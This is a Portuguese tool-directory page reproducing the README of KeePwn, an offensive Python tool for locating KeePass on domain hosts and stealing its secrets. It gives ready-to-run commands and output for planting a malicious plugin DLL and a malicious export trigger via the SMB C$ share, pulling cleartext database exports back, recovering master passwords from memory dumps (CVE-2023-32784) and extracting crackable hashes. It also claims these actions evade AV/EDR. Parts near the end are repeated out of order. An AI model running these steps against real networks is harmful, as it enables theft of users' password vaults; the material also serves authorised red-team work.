Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
KeePwn — Uma ferramenta Python para automatizar a descoberta e extração de segredos do KeePass. | Kitploit
Ferramentas/GitHubGitHub/orange-cyberdefense/keepwn
Quebra de SenhasExploraçãoPós-ExploraçãoRed Teaming
GitHuborange-cyberdefense/keepwn

KeePwn

Uma ferramenta Python para automatizar a descoberta e extração de segredos do KeePass.

Ver Repositório
52754há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Um script Python para ajudar red teamers a descobrir instâncias do KeePass e extrair segredos.

Funcionalidades

  • Descoberta do KeePass
    • Procurar arquivos de instalação do KeePass através do compartilhamento SMB C$.
    • Aceitar múltiplas fontes de destino (IP, CIDR, hostname, arquivo).
    • Verificar metadados do KeePass (versão, último acesso).
    • Verificar processo KeePass em execução via RPC baseado em Impacket.
    • Implementação multi-thread para evitar hosts gargalo.
    • Exportar resultados da pesquisa para CSV.
    • Encontrar bancos de dados KDBX.
  • Abuso de Plugins do KeePass
    • Adicionar e remover plugins do KeePass (veja KeeFarce Reborn) através do compartilhamento SMB C$.
    • Recuperar exportações em texto claro no host remoto.
  • Abuso de Triggers do KeePass
    • Adicionar e remover triggers (veja: KeeThief) do arquivo de configuração do KeePass através do compartilhamento SMB C$.
    • Recuperar exportações em texto claro no host remoto.
    • Personalizar triggers com argumentos de linha de comando.
  • Análise de Dumps de Memória do KeePass
    • Analisar dumps de memória para encontrar candidatos à senha mestra (CVE-2023-32784).
    • Analisar dumps de memória para encontrar chave de criptografia.
  • Quebra de Banco de Dados KeePass
    • Converter KDBX para formatos compatíveis com John e Hashcat.
    • Adicionar suporte ao formato KDBX 4.x.
  • Autenticação
    • Suporte à autenticação por hash LM/NT.
    • Suporte à autenticação Kerberos.
  • Diversos
    • Escrever testes unitários.
    • Disponibilizar o projeto no PyPI .

Instalação

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help

Ou se não quiser instalar, apenas executar em um virtualenv:

root@kitploit:~
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help

Uso

Descoberta

O módulo search do KeePwn é usado para identificar hosts que executam o KeePass no seu ambiente alvo:

root@kitploit:~
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt

[*] Iniciando pesquisa remota de KeePass com 5 threads

[PC01.COMPANY.LOCAL] Nenhum arquivo relacionado ao KeePass encontrado
[PC02.COMPANY.LOCAL] Nenhum arquivo relacionado ao KeePass encontrado
[PC03.COMPANY.LOCAL] Encontrado '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Versão: 2.57.1, ÚltimaVerificaçãoDeAtualização: há 48 minutos)
[PC03.COMPANY.LOCAL] Encontrado '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] Nenhum arquivo relacionado ao KeePass encontrado
[PC05.COMPANY.LOCAL] Nenhum arquivo relacionado ao KeePass encontrado

Ele utiliza o compartilhamento C$ integrado do Active Directory para procurar arquivos relacionados ao KeePass em locais padrão, exigindo, portanto, privilégios de administrador nos alvos.

O módulo primeiro procurará pelo arquivo de configuração KeePass.config.xml na pasta %APPDATA%\KeePass de cada usuário, bem como KeePass.exe no seu caminho de instalação padrão (C:\Program Files\KeePass Password Safe 2). Se um arquivo de configuração for encontrado, mas o KeePass não estiver instalado globalmente, o KeePwn procurará por instalações portáteis até --max-depth subpastas.

Esta técnica básica de busca deve ser suficiente para determinar com precisão se o KeePass é usado em uma estação de trabalho ou não. Além disso, a opção --get-process usará a implementação RPC do Impacket para determinar se o KeePass está atualmente em execução no alvo.

Abuso de Plugins

O KeePass possui um framework de plugins que pode ser abusado para carregar DLLs maliciosas no processo do KeePass, permitindo que atacantes com direitos de administrador exportem facilmente o banco de dados (veja: KeeFarceRebornPlugin).

O módulo plugin do KeePwn permite:

  • Listar plugins atualmente instalados e enumerar o cache de plugins

    root@kitploit:~
    $ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                   
    
    [*] Nenhum caminho especificado, procurando em locais padrão..
    [*] Encontrado dbBackup.plgx na pasta '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [*] Encontrado pDhkzWQYiobXhtBEEnbo na pasta '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
    
  • Adicionar e remover seus plugins maliciosos

    root@kitploit:~
    $ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll  
    
    [*] Nenhum caminho especificado, procurando em locais padrão..
    [*] Encontrado diretório de Plugins do KeePass '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
    [!] Prestes a adicionar KeeFarceRebornPlugin.dll ao diretório de Plugins do KeePass, deseja continuar? [s/n]
    > s
    [+] Plugin adicionado com sucesso ao KeePass, aguarde a próxima reinicialização, faça polling e aproveite!
    
Abuso de Triggers

Conforme descrito no blog post de @harmj0y (e posteriormente CVE-2023-24055), o sistema de triggers do KeePass pode ser abusado para exportar o banco de dados em texto claro.

O módulo trigger do KeePwn permite:

  • Verificar se um trigger malicioso chamado "export" está atualmente escrito na configuração do KeePass

    root@kitploit:~
    $ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] Nenhum caminho de configuração do KeePass especificado, procurando em locais padrão..
    [*] Encontrada configuração global do KeePass '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] A flag PreferUserConfiguration está definida como true, significando que a configuração local é usada
    [*] Encontrada configuração local do KeePass '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] Nenhum trigger encontrado na configuração do KeePass
    

    Observe que o KeePwn impedirá o abuso de plugins se a versão detectada do KeePass não for afetada por esta técnica.

  • Adicionar e remover um trigger malicioso chamado "export" que realiza uma exportação em texto claro do banco de dados em %APPDATA% na próxima inicialização do KeePass

    root@kitploit:~
    ❯ python3 KeePwn.py trigger add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL       
    
    [*] Nenhum caminho de configuração do KeePass especificado, procurando em locais padrão..
    [*] Encontrada configuração global do KeePass '\\C$\Program Files\KeePass Password Safe 2\KeePass.config.xml'
    [*] A flag PreferUserConfiguration está definida como true, significando que a configuração local é usada
    [*] Encontrada configuração local do KeePass '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
    [+] Trigger malicioso 'export' adicionado com sucesso ao arquivo de configuração do KeePass (pode ser excluído se o KeePass já estiver em execução)
    
Análise de Dumps de Memória

Conforme descrito por @vdohney, é possível recuperar a senha mestra do banco de dados na memória (CVE-2023-32784, afetando versões anteriores ao KeePass 2.54).

O módulo parse_dump do KeePwn procurará por possíveis candidatos à senha mestra em dumps. Como as strings resultantes serão (por design) incompletas, o módulo também pode ser usado para força bruta do primeiro caractere faltante contra um arquivo KDBX especificado.

root@kitploit:~
$ python3 KeePwn.py parse_dump -d ./KeePass.DMP --bruteforce Database.kdbx

[*] Procurando pela senha mestra no dump de memória.. concluído!                                                                                                                                                                                                 
[*] Encontrados 15 candidatos:
     _@$$w0rd!!
     _Ï$$w0rd!!
     _§$$w0rd!!
     _ñ$$w0rd!!
     _D$$w0rd!!
     _$$w0rd!!
     _\$$w0rd!!
     _#$$w0rd!!
     _y$$w0rd!!
     _k$$w0rd!!
     _9$$w0rd!!
     _;$$w0rd!!
     _H$$w0rd!!
     _>$$w0rd!!
     _a$$w0rd!!

[*] Forçando o símbolo faltante com os 254 caracteres Unicode mais comuns.. concluído!                                                                                                                                                                          
[+] Database.kdbx desbloqueado com sucesso usando a senha mestra P@$$w0rd!!

A análise do dump de memória faz uso do PoC Python de @CMEPW. Obrigado por me permitir reutilizar o código :)

Quebra de Bancos de Dados KDBX

O script keepass2john.py de @harmjoy foi portado para o KeePwn com a ajuda de @0xSp3ctra.

O convert do KeePwn extrairá um hash quebrável (formato john ou hashcat) de um Banco de Dados KeePass.

root@kitploit:~
KeePwn convert -d ./Database.kdbx 

[+] Boa quebra! (hashcat -m 13400)
$keepass$*2*60000*222*b794eae002aff2a55a307bedeadebee210ee3c3596731f5acf2a1ff3add7d5af*7f19293f120717cbb88cdd27a3d4b9cb58316c61c625ca3a39f94c5a96b6135b*c004b3bc403730ce1bba15d5feda18e2*55a142d52798313c336c9442d824d7098ded3c5e161b76640100c99ec1cd95e1*60bb1f64c2bfff8a4e1eb43c533054f2f5c46fac19a867e7f80a1a71d6b68f17

Pode ser usado com mais argumentos para especificar o tipo de hash esperado, bem como um caminho de arquivo de saída:

root@kitploit:~
KeePwn convert -d ./Database.kdbx -t john -o ./Database.hash 

[+] Hash escrito em ./Database.hash, boa quebra! (john --format=keepass)

KDBX 4.x ainda não é suportado, você pode usar https://github.com/r3nt0n/keepass4brute. Se estiver a fim de um PR, https://palant.info/2023/03/29/documenting-keepass-kdbx4-file-format deve ser uma boa leitura :)

Contribua

Pull requests são bem-vindos (veja: Funcionalidades não marcadas + alguns TODOs no código).

Sinta-se à vontade para abrir uma issue ou me enviar um DM no Twitter para sugerir melhorias.

Baixar ferramenta

Também estão incluídas várias opções de qualidade de vida para exportar os resultados da pesquisa para um arquivo CSV, exibir apenas alvos onde o KeePass foi encontrado e ajustar o número de threads paralelas:

root@kitploit:~
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv

[*] Iniciando pesquisa remota de KeePass com 4 threads

[PC03.COMPANY.LOCAL] Encontrado '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Versão: 2.57.1, ÚltimaVerificaçãoDeAtualização: há 48 minutos)
[PC03.COMPANY.LOCAL] Encontrado '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Encontrado processo KeePass.exe em execução (Usuário: COMPANY\jdoe, PID: 3820)

[+] Resultados da pesquisa registrados em keepwn_out.csv
  • Fazer polling de %APPDATA% para exportações e movê-las automaticamente do host remoto para o sistema de arquivos local

    root@kitploit:~
    $ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Fazendo polling pela exportação do banco de dados a cada 5 segundos.. pressione CTRL+C para abortar. CONCLUÍDO                                                                                                                                                                                
    [+] Encontrada exportação em texto claro '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Exportação remota movida para ./export.xml
    
  • Estas ações são realizadas através do acesso ao compartilhamento SMB C$, limitando a detecção por AV/EDR, pois nenhuma execução de comando é realizada.

  • Fazer polling de %APPDATA% para exportações e movê-las automaticamente do host remoto para o sistema de arquivos local

    root@kitploit:~
    $ KeePwn trigger poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL                                  
    
    [*] Fazendo polling pela exportação do banco de dados a cada 5 segundos.. pressione CTRL+C para abortar. CONCLUÍDO                                                                                                                                                                                
    [+] Encontrada exportação em texto claro '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
    [+] Exportação remota movida para ./export.xml
    
  • Se o caminho do arquivo de configuração não for o local padrão, você pode especificar um com o argumento --config-path.